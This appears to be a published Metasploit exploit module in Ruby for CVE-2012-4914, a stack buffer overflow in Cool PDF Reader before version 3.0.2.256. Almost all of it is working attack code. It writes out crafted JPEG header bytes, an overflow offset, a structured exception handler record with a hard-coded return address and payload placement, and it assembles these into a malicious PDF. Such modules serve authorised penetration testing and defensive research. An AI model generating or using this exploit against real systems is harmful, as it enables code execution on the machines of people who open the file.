Cool PDF Image Stream Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::PDF  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cool PDF Image Stream Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Cool PDF Reader prior to version  
3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that  
contains a specially crafted image stream. This module has been tested successfully  
on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Francis Provencher', # Vulnerability discovery  
'Chris Gabriel', # Proof of concept  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-4914' ],  
[ 'OSVDB', '89349' ],  
[ 'EDB', '24463' ],  
[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]  
],  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',  
{  
'Offset' => 433,  
'Ret' => 0x00539fa4 # ppr from coolpdf.exe  
}  
]  
],  
'DisclosureDate' => 'Jan 18 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])  
], self.class)  
end  
  
def exploit  
file_create(make_pdf)  
end  
  
def jpeg  
p = payload.encoded  
sploit = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"  
sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"  
sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"  
sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"  
sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"  
sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"  
sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"  
sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"  
sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"  
sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"  
sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"  
sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"  
sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"  
sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"  
sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"  
sploit << rand_text(target['Offset'])  
sploit << generate_seh_record(target.ret)  
sploit << p  
sploit << rand_text(2388 - p.length)  
return sploit  
end  
  
# Override the mixin obfuscator since it doesn't seem to work here.  
def nObfu(str)  
return str  
end  
  
def make_pdf  
@pdf << header  
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))  
add_object(2, nObfu("<</Type/Outlines>>"))  
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))  
add_object(4, nObfu("[/PDF/Text/ImageC]"))  
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))  
stream_1 = "stream" << eol  
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol  
stream_1 << "endstream" << eol  
add_object(6, nObfu("<</Length 91>>#{stream_1}"))  
stream = "<<" << eol  
stream << "/Width 230" << eol  
stream << "/BitsPerComponent 8" << eol  
stream << "/Name /X" << eol  
stream << "/Height 50" << eol  
stream << "/Intent /RelativeColorimetric" << eol  
stream << "/Subtype /Image" << eol  
stream << "/Filter /DCTDecode" << eol  
stream << "/Length #{jpeg.length}" << eol  
stream << "/ColorSpace /DeviceCMYK" << eol  
stream << "/Type /XObject" << eol  
stream << ">>"  
stream << "stream" << eol  
stream << jpeg << eol  
stream << "endstream" << eol  
add_object(7, stream)  
finish_pdf  
end  
  
end  
`